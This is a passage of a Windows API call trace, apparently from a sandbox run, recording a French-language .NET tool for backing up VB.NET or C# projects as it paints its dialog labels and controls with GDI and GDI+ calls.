GdipGetTextRenderingHint (graphics=0x4c34c00, mode=0x32eb04) returned 0x0 [0050.166] GdipGetDC (graphics=0x4c34c00, hdc=0x32eaf0) returned 0x0 [0050.166] GetCurrentObject (hdc=0x1001084c, type=0x1) returned 0x1b00017 [0050.166] GetCurrentObject (hdc=0x1001084c, type=0x2) returned 0x1900010 [0050.166] GetCurrentObject (hdc=0x1001084c, type=0x7) returned 0x6f050254 [0050.166] GetCurrentObject (hdc=0x1001084c, type=0x6) returned 0x18a002e [0050.166] SaveDC (hdc=0x1001084c) returned 1 [0050.166] GetTextAlign (hdc=0x1001084c) returned 0x0 [0050.166] GetTextColor (hdc=0x1001084c) returned 0x0 [0050.166] GetCurrentObject (hdc=0x1001084c, type=0x6) returned 0x18a002e [0050.166] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0050.166] SelectObject (hdc=0x1001084c, h=0x100a0252) returned 0x18a002e [0050.166] GetBkMode (hdc=0x1001084c) returned 2 [0050.166] SetBkMode (hdc=0x1001084c, mode=1) returned 2 [0050.166] DrawTextExW (in: hdc=0x1001084c, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x32e8cc, format=0x100404, lpdtp=0x25bd748 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x32e8cc) returned 13 [0050.167] DrawTextExW (in: hdc=0x1001084c, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x32ea84, format=0x100004, lpdtp=0x25bd748 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x32ea84) returned 13 [0050.167] RestoreDC (hdc=0x1001084c, nSavedDC=-1) returned 1 [0050.167] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1001084c) returned 0x0 [0050.167] GdipGetDC (graphics=0x4c34c00, hdc=0x32eca0) returned 0x0 [0050.167] BitBlt (hdc=0x1010830, x=0, y=0, cx=161, cy=21, hdcSrc=0x1001084c, x1=0, y1=0, rop=0xcc0020) returned 1 [0050.167] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1001084c) returned 0x0 [0050.167] SelectPalette (hdc=0x1010830, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0050.167] SelectObject (hdc=0x1001084c, h=0x185000f) returned 0x6f050254 [0050.167] DeleteDC (hdc=0x1001084c) returned 1 [0050.167] GdipDeleteGraphics (graphics=0x4c34c00) returned 0x0 [0050.167] EndPaint (hWnd=0x301bc, lpPaint=0x32ec44) returned 1 [0050.168] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0050.168] IsWindowUnicode (hWnd=0x201e2) returned 1 [0050.168] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0050.168] TranslateMessage (lpMsg=0x32f158) returned 0 [0050.168] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0050.168] BeginPaint (in: hWnd=0x201e2, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x3010821 [0050.168] SelectPalette (hdc=0x3010821, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0050.168] CreateCompatibleDC (hdc=0x3010821) returned 0x1201084c [0050.168] SelectObject (hdc=0x1201084c, h=0x6f050254) returned 0x185000f [0050.168] GdipCreateFromHDC (hdc=0x1201084c, graphics=0x32ec60) returned 0x0 [0050.168] GdipTranslateWorldTransform (graphics=0x4c34c00, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0050.168] GdipSetClipRectI (graphics=0x4c34c00, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0050.168] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0050.168] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c34ee0) returned 0x0 [0050.168] GdipIsMatrixIdentity (matrix=0x4c34ee0, result=0x32ecc0) returned 0x0 [0050.168] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0050.168] GdipGetMatrixElements (matrix=0x4c34ee0, matrixOut=0x6069d8) returned 0x0 [0050.168] LocalFree (hMem=0x6069d8) returned 0x0 [0050.168] GdipDeleteMatrix (matrix=0x4c34ee0) returned 0x0 [0050.169] GdipCreateRegion (region=0x32eca8) returned 0x0 [0050.169] GdipGetClip (graphics=0x4c34c00, region=0x4c34f10) returned 0x0 [0050.169] GdipIsInfiniteRegion (region=0x4c34f10, graphics=0x4c34c00, result=0x32ecb4) returned 0x0 [0050.169] GdipSaveGraphics (graphics=0x4c34c00, state=0x32ece0) returned 0x0 [0050.169] GetWindowTextLengthW (hWnd=0x201e2) returned 28 [0050.169] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0050.169] GetSystemMetrics (nIndex=42) returned 0 [0050.169] GetWindowTextW (in: hWnd=0x201e2, lpString=0x32ebc0, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0050.169] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xd, wParam=0x1d, lParam=0x32ebc0) returned 0x1c [0050.169] GetClientRect (in: hWnd=0x201e2, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0050.169] GdipCreateRegion (region=0x32eafc) returned 0x0 [0050.169] GdipGetClip (graphics=0x4c34c00, region=0x4c35200) returned 0x0 [0050.169] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0050.169] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c35290) returned 0x0 [0050.169] GdipIsMatrixIdentity (matrix=0x4c35290, result=0x32eb14) returned 0x0 [0050.169] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0050.169] GdipGetMatrixElements (matrix=0x4c35290, matrixOut=0x6069d8) returned 0x0 [0050.169] LocalFree (hMem=0x6069d8) returned 0x0 [0050.169] GdipCombineRegionRegion (region=0x4c35200, region2=0x4c34f10, combineMode=0x1) returned 0x0 [0050.169] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0050.169] GdipGetMatrixElements (matrix=0x4c35290, matrixOut=0x6069d8) returned 0x0 [0050.170] LocalFree (hMem=0x6069d8) returned 0x0 [0050.170] GdipDeleteMatrix (matrix=0x4c35290) returned 0x0 [0050.170] GdipIsInfiniteRegion (region=0x4c35200, graphics=0x4c34c00, result=0x32eb3c) returned 0x0 [0050.170] GdipIsInfiniteRegion (region=0x4c35200, graphics=0x4c34c00, result=0x32eb2c) returned 0x0 [0050.170] GdipGetRegionHRgn (region=0x4c35200, graphics=0x4c34c00, hRgn=0x32eb2c) returned 0x0 [0050.170] GdipDeleteRegion (region=0x4c35200) returned 0x0 [0050.170] GdipGetDC (graphics=0x4c34c00, hdc=0x32eb44) returned 0x0 [0050.170] GetCurrentObject (hdc=0x1201084c, type=0x1) returned 0x1b00017 [0050.170] GetCurrentObject (hdc=0x1201084c, type=0x2) returned 0x1900010 [0050.170] GetCurrentObject (hdc=0x1201084c, type=0x7) returned 0x6f050254 [0050.170] GetCurrentObject (hdc=0x1201084c, type=0x6) returned 0x18a002e [0050.170] SaveDC (hdc=0x1201084c) returned 1 [0050.170] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1c0401e3 [0050.170] GetClipRgn (hdc=0x1201084c, hrgn=0x1c0401e3) returned 0 [0050.170] SelectClipRgn (hdc=0x1201084c, hrgn=0x4204025c) returned 2 [0050.170] DeleteObject (ho=0x1c0401e3) returned 1 [0050.170] DeleteObject (ho=0x4204025c) returned 1 [0050.170] OffsetViewportOrgEx (in: hdc=0x1201084c, x=0, y=0, lppt=0x25bdbe8 | out: lppt=0x25bdbe8) returned 1 [0050.171] GetNearestColor (hdc=0x1201084c, color=0xc8c8c8) returned 0xc8c8c8 [0050.171] CreateSolidBrush (color=0xc8c8c8) returned 0xb10084d [0050.171] FillRect (hDC=0x1201084c, lprc=0x32eb48, hbr=0xb10084d) returned 1 [0050.171] DeleteObject (ho=0xb10084d) returned 1 [0050.171] RestoreDC (hdc=0x1201084c, nSavedDC=-1) returned 1 [0050.171] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1201084c) returned 0x0 [0050.171] GdipRestoreGraphics (graphics=0x4c34c00, state=0xfdaf0dbd) returned 0x0 [0050.171] GdipDeleteRegion (region=0x4c34f10) returned 0x0 [0050.171] GetWindowTextLengthW (hWnd=0x201e2) returned 28 [0050.171] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0050.171] GetSystemMetrics (nIndex=42) returned 0 [0050.171] GetWindowTextW (in: hWnd=0x201e2, lpString=0x32ebc0, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0050.171] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xd, wParam=0x1d, lParam=0x32ebc0) returned 0x1c [0050.171] GdipGetDC (graphics=0x4c34c00, hdc=0x32eb64) returned 0x0 [0050.171] GetCurrentObject (hdc=0x1201084c, type=0x1) returned 0x1b00017 [0050.171] GetCurrentObject (hdc=0x1201084c, type=0x2) returned 0x1900010 [0050.171] GetCurrentObject (hdc=0x1201084c, type=0x7) returned 0x6f050254 [0050.171] GetCurrentObject (hdc=0x1201084c, type=0x6) returned 0x18a002e [0050.171] SaveDC (hdc=0x1201084c) returned 1 [0050.172] GetNearestColor (hdc=0x1201084c, color=0x0) returned 0x0 [0050.172] RestoreDC (hdc=0x1201084c, nSavedDC=-1) returned 1 [0050.172] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1201084c) returned 0x0 [0050.172] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0050.172] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0050.172] DrawTextExW (in: hdc=0x11010846, lpchText="Fichier solution du projet :", cchText=28, lprc=0x32ea70, format=0x102404, lpdtp=0x25bdeec | out: lpchText="Fichier solution du projet :", lprc=0x32ea70) returned 13 [0050.172] GdipGetTextRenderingHint (graphics=0x4c34c00, mode=0x32eb04) returned 0x0 [0050.172] GdipGetDC (graphics=0x4c34c00, hdc=0x32eaf0) returned 0x0 [0050.172] GetCurrentObject (hdc=0x1201084c, type=0x1) returned 0x1b00017 [0050.172] GetCurrentObject (hdc=0x1201084c, type=0x2) returned 0x1900010 [0050.172] GetCurrentObject (hdc=0x1201084c, type=0x7) returned 0x6f050254 [0050.172] GetCurrentObject (hdc=0x1201084c, type=0x6) returned 0x18a002e [0050.172] SaveDC (hdc=0x1201084c) returned 1 [0050.173] GetTextAlign (hdc=0x1201084c) returned 0x0 [0050.173] GetTextColor (hdc=0x1201084c) returned 0x0 [0050.173] GetCurrentObject (hdc=0x1201084c, type=0x6) returned 0x18a002e [0050.173] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0050.173] SelectObject (hdc=0x1201084c, h=0x100a0252) returned 0x18a002e [0050.173] GetBkMode (hdc=0x1201084c) returned 2 [0050.173] SetBkMode (hdc=0x1201084c, mode=1) returned 2 [0050.173] DrawTextExW (in: hdc=0x1201084c, lpchText="Fichier solution du projet :", cchText=28, lprc=0x32e8cc, format=0x100404, lpdtp=0x25be104 | out: lpchText="Fichier solution du projet :", lprc=0x32e8cc) returned 13 [0050.173] DrawTextExW (in: hdc=0x1201084c, lpchText="Fichier solution du projet :", cchText=28, lprc=0x32ea84, format=0x100004, lpdtp=0x25be104 | out: lpchText="Fichier solution du projet :", lprc=0x32ea84) returned 13 [0050.173] RestoreDC (hdc=0x1201084c, nSavedDC=-1) returned 1 [0050.173] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1201084c) returned 0x0 [0050.174] GdipGetDC (graphics=0x4c34c00, hdc=0x32eca0) returned 0x0 [0050.174] BitBlt (hdc=0x3010821, x=0, y=0, cx=161, cy=21, hdcSrc=0x1201084c, x1=0, y1=0, rop=0xcc0020) returned 1 [0050.174] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1201084c) returned 0x0 [0050.174] SelectPalette (hdc=0x3010821, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0050.174] SelectObject (hdc=0x1201084c, h=0x185000f) returned 0x6f050254 [0050.174] DeleteDC (hdc=0x1201084c) returned 1 [0050.174] GdipDeleteGraphics (graphics=0x4c34c00) returned 0x0 [0050.174] EndPaint (hWnd=0x201e2, lpPaint=0x32ec44) returned 1 [0050.174] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0050.174] IsWindowUnicode (hWnd=0x201e4) returned 1 [0050.174] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0050.174] TranslateMessage (lpMsg=0x32f158) returned 0 [0050.174] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0050.174] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x2010847 [0050.174] SelectPalette (hdc=0x2010847, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0050.174] CreateCompatibleDC (hdc=0x2010847) returned 0x1401084c [0050.174] DeleteObject (ho=0x6f050254) returned 1 [0050.175] GetObjectType (h=0x2010847) returned 0x3 [0050.175] CreateCompatibleBitmap (hdc=0x2010847, cx=1, cy=1) returned 0x34050808 [0050.175] GetDIBits (in: hdc=0x2010847, hbm=0x34050808, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x32e72c, usage=0x0 | out: lpvBits=0x0, lpbmi=0x32e72c) returned 1 [0050.175] GetDIBits (in: hdc=0x2010847, hbm=0x34050808, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x32e72c, usage=0x0 | out: lpvBits=0x0, lpbmi=0x32e72c) returned 1 [0050.175] DeleteObject (ho=0x34050808) returned 1 [0050.175] CreateDIBSection (in: hdc=0x2010847, lpbmi=0x32e77c, usage=0x0, ppvBits=0x32ec70, hSection=0x0, offset=0x0 | out: ppvBits=0x32ec70) returned 0x70050254 [0050.175] SelectObject (hdc=0x1401084c, h=0x70050254) returned 0x185000f [0050.175] GdipCreateFromHDC (hdc=0x1401084c, graphics=0x32ec54) returned 0x0 [0050.175] GdipTranslateWorldTransform (graphics=0x4c34c00, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0050.175] GdipSetClipRectI (graphics=0x4c34c00, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0050.175] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0050.176] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c34ee0) returned 0x0 [0050.176] GdipIsMatrixIdentity (matrix=0x4c34ee0, result=0x32ecb4) returned 0x0 [0050.176] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0050.176] GdipGetMatrixElements (matrix=0x4c34ee0, matrixOut=0x6069d8) returned 0x0 [0050.176] LocalFree (hMem=0x6069d8) returned 0x0 [0050.176] GdipDeleteMatrix (matrix=0x4c34ee0) returned 0x0 [0050.176] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0050.176] GdipGetClip (graphics=0x4c34c00, region=0x4c34f10) returned 0x0 [0050.176] GdipIsInfiniteRegion (region=0x4c34f10, graphics=0x4c34c00, result=0x32eca8) returned 0x0 [0050.176] GdipSaveGraphics (graphics=0x4c34c00, state=0x32ecd4) returned 0x0 [0050.176] GdipRestoreGraphics (graphics=0x4c34c00, state=0xfdad0dbd) returned 0x0 [0050.176] GdipDeleteRegion (region=0x4c34f10) returned 0x0 [0050.176] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x32eb58, fWinIni=0x0 | out: pvParam=0x32eb58) returned 1 [0050.177] GdipGetDC (graphics=0x4c34c00, hdc=0x32eac0) returned 0x0 [0050.177] GetCurrentObject (hdc=0x1401084c, type=0x1) returned 0x1b00017 [0050.177] GetCurrentObject (hdc=0x1401084c, type=0x2) returned 0x1900010 [0050.177] GetCurrentObject (hdc=0x1401084c, type=0x7) returned 0x70050254 [0050.177] GetCurrentObject (hdc=0x1401084c, type=0x6) returned 0x18a002e [0050.177] SaveDC (hdc=0x1401084c) returned 1 [0050.177] GetNearestColor (hdc=0x1401084c, color=0xf0f0f0) returned 0xf0f0f0 [0050.177] GetNearestColor (hdc=0x1401084c, color=0xa0a0a0) returned 0xa0a0a0 [0050.177] GetNearestColor (hdc=0x1401084c, color=0x696969) returned 0x696969 [0050.177] GetNearestColor (hdc=0x1401084c, color=0xa0a0a0) returned 0xa0a0a0 [0050.177] GetNearestColor (hdc=0x1401084c, color=0x0) returned 0x0 [0050.177] GetNearestColor (hdc=0x1401084c, color=0xffffff) returned 0xffffff [0050.177] GetNearestColor (hdc=0x1401084c, color=0xe5e5e5) returned 0xe5e5e5 [0050.177] GetNearestColor (hdc=0x1401084c, color=0xd7d7d7) returned 0xd7d7d7 [0050.177] GetNearestColor (hdc=0x1401084c, color=0x0) returned 0x0 [0050.178] RestoreDC (hdc=0x1401084c, nSavedDC=-1) returned 1 [0050.178] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1401084c) returned 0x0 [0050.179] IsAppThemed () returned 0x1 [0050.180] GetThemeAppProperties () returned 0x3 [0050.180] GetThemeAppProperties () returned 0x3 [0050.180] OpenThemeData () returned 0x10004 [0050.180] IsAppThemed () returned 0x1 [0050.180] GetThemeAppProperties () returned 0x3 [0050.180] GetThemeAppProperties () returned 0x3 [0050.181] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x102415, lpdtp=0x25bfb34 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0050.181] IsAppThemed () returned 0x1 [0050.181] GetThemeAppProperties () returned 0x3 [0050.181] GetThemeAppProperties () returned 0x3 [0050.182] IsAppThemed () returned 0x1 [0050.182] GetThemeAppProperties () returned 0x3 [0050.182] GetThemeAppProperties () returned 0x3 [0050.182] GetFocus () returned 0x201e4 [0050.183] IsAppThemed () returned 0x1 [0050.183] GetThemeAppProperties () returned 0x3 [0050.183] GetThemeAppProperties () returned 0x3 [0050.183] IsAppThemed () returned 0x1 [0050.183] GetThemeAppProperties () returned 0x3 [0050.183] GetThemeAppProperties () returned 0x3 [0050.184] IsThemePartDefined () returned 0x1 [0050.184] IsAppThemed () returned 0x1 [0050.184] GetThemeAppProperties () returned 0x3 [0050.184] GetThemeAppProperties () returned 0x3 [0050.184] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0050.184] IsAppThemed () returned 0x1 [0050.184] GetThemeAppProperties () returned 0x3 [0050.184] GetThemeAppProperties () returned 0x3 [0050.184] IsAppThemed () returned 0x1 [0050.184] GetThemeAppProperties () returned 0x3 [0050.184] GetThemeAppProperties () returned 0x3 [0050.184] IsThemePartDefined () returned 0x1 [0050.184] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0050.184] GdipGetClip (graphics=0x4c34c00, region=0x4c34f10) returned 0x0 [0050.184] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0050.185] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c34fa0) returned 0x0 [0050.185] GdipIsMatrixIdentity (matrix=0x4c34fa0, result=0x32e9dc) returned 0x0 [0050.185] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0050.185] GdipGetMatrixElements (matrix=0x4c34fa0, matrixOut=0x6069d8) returned 0x0 [0050.185] LocalFree (hMem=0x6069d8) returned 0x0 [0050.185] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0050.185] GdipGetMatrixElements (matrix=0x4c34fa0, matrixOut=0x6069d8) returned 0x0 [0050.185] LocalFree (hMem=0x6069d8) returned 0x0 [0050.185] GdipDeleteMatrix (matrix=0x4c34fa0) returned 0x0 [0050.185] GdipIsInfiniteRegion (region=0x4c34f10, graphics=0x4c34c00, result=0x32ea04) returned 0x0 [0050.185] GdipIsInfiniteRegion (region=0x4c34f10, graphics=0x4c34c00, result=0x32e9f4) returned 0x0 [0050.185] GdipGetRegionHRgn (region=0x4c34f10, graphics=0x4c34c00, hRgn=0x32e9f4) returned 0x0 [0050.185] GdipDeleteRegion (region=0x4c34f10) returned 0x0 [0050.185] GdipGetDC (graphics=0x4c34c00, hdc=0x32ea0c) returned 0x0 [0050.185] GetCurrentObject (hdc=0x1401084c, type=0x1) returned 0x1b00017 [0050.185] GetCurrentObject (hdc=0x1401084c, type=0x2) returned 0x1900010 [0050.185] GetCurrentObject (hdc=0x1401084c, type=0x7) returned 0x70050254 [0050.185] GetCurrentObject (hdc=0x1401084c, type=0x6) returned 0x18a002e [0050.185] SaveDC (hdc=0x1401084c) returned 1 [0050.185] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4304025c [0050.185] GetClipRgn (hdc=0x1401084c, hrgn=0x4304025c) returned 0 [0050.185] SelectClipRgn (hdc=0x1401084c, hrgn=0x210401e3) returned 2 [0050.185] DeleteObject (ho=0x4304025c) returned 1 [0050.185] DeleteObject (ho=0x210401e3) returned 1 [0050.186] OffsetViewportOrgEx (in: hdc=0x1401084c, x=0, y=0, lppt=0x25c0210 | out: lppt=0x25c0210) returned 1 [0050.186] DrawThemeParentBackground () returned 0x0 [0050.186] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0050.186] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0050.186] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0050.186] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0050.186] GetSystemMetrics (nIndex=42) returned 0 [0050.186] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0050.186] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0050.186] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0050.186] GetCurrentObject (hdc=0x1401084c, type=0x1) returned 0x1b00017 [0050.186] GetCurrentObject (hdc=0x1401084c, type=0x2) returned 0x1900010 [0050.186] GetCurrentObject (hdc=0x1401084c, type=0x7) returned 0x70050254 [0050.186] GetCurrentObject (hdc=0x1401084c, type=0x6) returned 0x18a002e [0050.186] SaveDC (hdc=0x1401084c) returned 2 [0050.186] GetNearestColor (hdc=0x1401084c, color=0xf0f0f0) returned 0xf0f0f0 [0050.186] CreateSolidBrush (color=0xf0f0f0) returned 0xc10084d [0050.186] FillRect (hDC=0x1401084c, lprc=0x32e4d4, hbr=0xc10084d) returned 1 [0050.187] DeleteObject (ho=0xc10084d) returned 1 [0050.187] RestoreDC (hdc=0x1401084c, nSavedDC=-1) returned 1 [0050.187] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0050.187] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0050.187] GetSystemMetrics (nIndex=42) returned 0 [0050.187] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0050.187] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0050.187] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0050.187] GetCurrentObject (hdc=0x1401084c, type=0x1) returned 0x1b00017 [0050.187] GetCurrentObject (hdc=0x1401084c, type=0x2) returned 0x1900010 [0050.187] GetCurrentObject (hdc=0x1401084c, type=0x7) returned 0x70050254 [0050.187] GetCurrentObject (hdc=0x1401084c, type=0x6) returned 0x18a002e [0050.187] SaveDC (hdc=0x1401084c) returned 2 [0050.187] GetNearestColor (hdc=0x1401084c, color=0xf0f0f0) returned 0xf0f0f0 [0050.187] CreateSolidBrush (color=0xf0f0f0) returned 0xd10084d [0050.187] FillRect (hDC=0x1401084c, lprc=0x32e474, hbr=0xd10084d) returned 1 [0050.187] DeleteObject (ho=0xd10084d) returned 1 [0050.187] RestoreDC (hdc=0x1401084c, nSavedDC=-1) returned 1 [0050.187] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0050.187] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0050.188] GetSystemMetrics (nIndex=42) returned 0 [0050.188] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0050.188] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0050.188] RestoreDC (hdc=0x1401084c, nSavedDC=-1) returned 1 [0050.188] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1401084c) returned 0x0 [0050.188] IsAppThemed () returned 0x1 [0050.188] GetThemeAppProperties () returned 0x3 [0050.188] GetThemeAppProperties () returned 0x3 [0050.188] IsAppThemed () returned 0x1 [0050.188] GetThemeAppProperties () returned 0x3 [0050.188] GetThemeAppProperties () returned 0x3 [0050.188] IsThemePartDefined () returned 0x1 [0050.188] GdipCreateRegion (region=0x32e968) returned 0x0 [0050.188] GdipGetClip (graphics=0x4c34c00, region=0x4c34ee0) returned 0x0 [0050.188] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0050.188] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c34f70) returned 0x0 [0050.188] GdipIsMatrixIdentity (matrix=0x4c34f70, result=0x32e980) returned 0x0 [0050.188] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0050.188] GdipGetMatrixElements (matrix=0x4c34f70, matrixOut=0x6069d8) returned 0x0 [0050.188] LocalFree (hMem=0x6069d8) returned 0x0 [0050.188] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0050.188] GdipGetMatrixElements (matrix=0x4c34f70, matrixOut=0x6069d8) returned 0x0 [0050.189] LocalFree (hMem=0x6069d8) returned 0x0 [0050.189] GdipDeleteMatrix (matrix=0x4c34f70) returned 0x0 [0050.189] GdipIsInfiniteRegion (region=0x4c34ee0, graphics=0x4c34c00, result=0x32e9a8) returned 0x0 [0050.189] GdipIsInfiniteRegion (region=0x4c34ee0, graphics=0x4c34c00, result=0x32e998) returned 0x0 [0050.189] GdipGetRegionHRgn (region=0x4c34ee0, graphics=0x4c34c00, hRgn=0x32e998) returned 0x0 [0050.189] GdipDeleteRegion (region=0x4c34ee0) returned 0x0 [0050.189] GdipGetDC (graphics=0x4c34c00, hdc=0x32e9b0) returned 0x0 [0050.189] GetCurrentObject (hdc=0x1401084c, type=0x1) returned 0x1b00017 [0050.189] GetCurrentObject (hdc=0x1401084c, type=0x2) returned 0x1900010 [0050.189] GetCurrentObject (hdc=0x1401084c, type=0x7) returned 0x70050254 [0050.189] GetCurrentObject (hdc=0x1401084c, type=0x6) returned 0x18a002e [0050.189] SaveDC (hdc=0x1401084c) returned 1 [0050.189] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x220401e3 [0050.189] GetClipRgn (hdc=0x1401084c, hrgn=0x220401e3) returned 0 [0050.189] SelectClipRgn (hdc=0x1401084c, hrgn=0x4504025c) returned 2 [0050.189] DeleteObject (ho=0x220401e3) returned 1 [0050.189] DeleteObject (ho=0x4504025c) returned 1 [0050.189] OffsetViewportOrgEx (in: hdc=0x1401084c, x=0, y=0, lppt=0x25c0c48 | out: lppt=0x25c0c48) returned 1 [0050.189] IsAppThemed () returned 0x1 [0050.189] GetThemeAppProperties () returned 0x3 [0050.190] GetThemeAppProperties () returned 0x3 [0050.190] DrawThemeBackground () returned 0x0 [0050.190] RestoreDC (hdc=0x1401084c, nSavedDC=-1) returned 1 [0050.190] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1401084c) returned 0x0 [0050.190] GdipCreateRegion (region=0x32e950) returned 0x0 [0050.190] GdipGetClip (graphics=0x4c34c00, region=0x4c34ee0) returned 0x0 [0050.190] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0050.190] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c34fa0) returned 